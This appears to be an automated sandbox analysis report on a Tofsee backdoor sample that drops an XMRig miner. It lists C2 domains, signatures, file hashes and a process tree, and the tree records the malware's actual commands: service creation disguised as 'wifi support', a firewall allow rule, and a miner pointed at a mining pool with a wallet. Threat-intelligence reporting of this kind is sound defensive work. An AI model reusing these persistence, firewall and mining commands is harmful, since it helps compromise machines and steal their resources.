Analysis

  • max time kernel
    142s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/12/2022, 00:58

General

  • Target
    file.exe
  • Size 215KB
  • Sample221221-bbhhqabd48
  • SHA256 c027db60f4f5e47bf4fab97513aa015bcbd93297b901a71b5d3f4160d9b0b681
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ohmiwcdh\
      2⤵
        PID:840
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ugpdcyhm.exe" C:\Windows\SysWOW64\ohmiwcdh\
        2⤵
          PID:368
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ohmiwcdh binPath= "C:\Windows\SysWOW64\ohmiwcdh\ugpdcyhm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1496
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ohmiwcdh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1568
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ohmiwcdh
          2⤵
          • Launches sc.exe
          PID:4768
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2612
      • C:\Windows\SysWOW64\ohmiwcdh\ugpdcyhm.exe
        C:\Windows\SysWOW64\ohmiwcdh\ugpdcyhm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4676
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2624
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4304

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            ugpdcyhm.exe

            • Path C:\Users\Admin\AppData\Local\Temp\ugpdcyhm.exe
            • Size 12.2MB
            • SHA256 415a2a6d740e162bbfa4c86b7a6608f0b18eff0989e8c44860e77c5af312e5d0
            • MD5 SHA1 SHA512 SSDEEP

            ugpdcyhm.exe

            • Path C:\Windows\SysWOW64\ohmiwcdh\ugpdcyhm.exe
            • Size 12.2MB
            • SHA256 415a2a6d740e162bbfa4c86b7a6608f0b18eff0989e8c44860e77c5af312e5d0
            • MD5 SHA1 SHA512 SSDEEP

            memory/2472-144-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/2472-133-0x0000000000570000-0x0000000000583000-memory.dmp

            memory/2472-134-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/2472-132-0x0000000000723000-0x0000000000734000-memory.dmp

            memory/2472-143-0x0000000000723000-0x0000000000734000-memory.dmp

            memory/2624-146-0x0000000000600000-0x0000000000615000-memory.dmp

            memory/2624-162-0x00000000019F0000-0x00000000019F5000-memory.dmp

            memory/2624-168-0x00000000029D0000-0x00000000029D7000-memory.dmp

            memory/2624-165-0x0000000007440000-0x000000000784B000-memory.dmp

            memory/2624-151-0x0000000000600000-0x0000000000615000-memory.dmp

            memory/2624-152-0x0000000000600000-0x0000000000615000-memory.dmp

            memory/2624-153-0x0000000002200000-0x000000000240F000-memory.dmp

            memory/2624-156-0x0000000001970000-0x0000000001976000-memory.dmp

            memory/2624-159-0x0000000001980000-0x0000000001990000-memory.dmp

            memory/4304-172-0x0000000000D10000-0x0000000000E01000-memory.dmp

            memory/4304-177-0x0000000000D10000-0x0000000000E01000-memory.dmp

            memory/4676-150-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/4676-148-0x000000000069E000-0x00000000006AE000-memory.dmp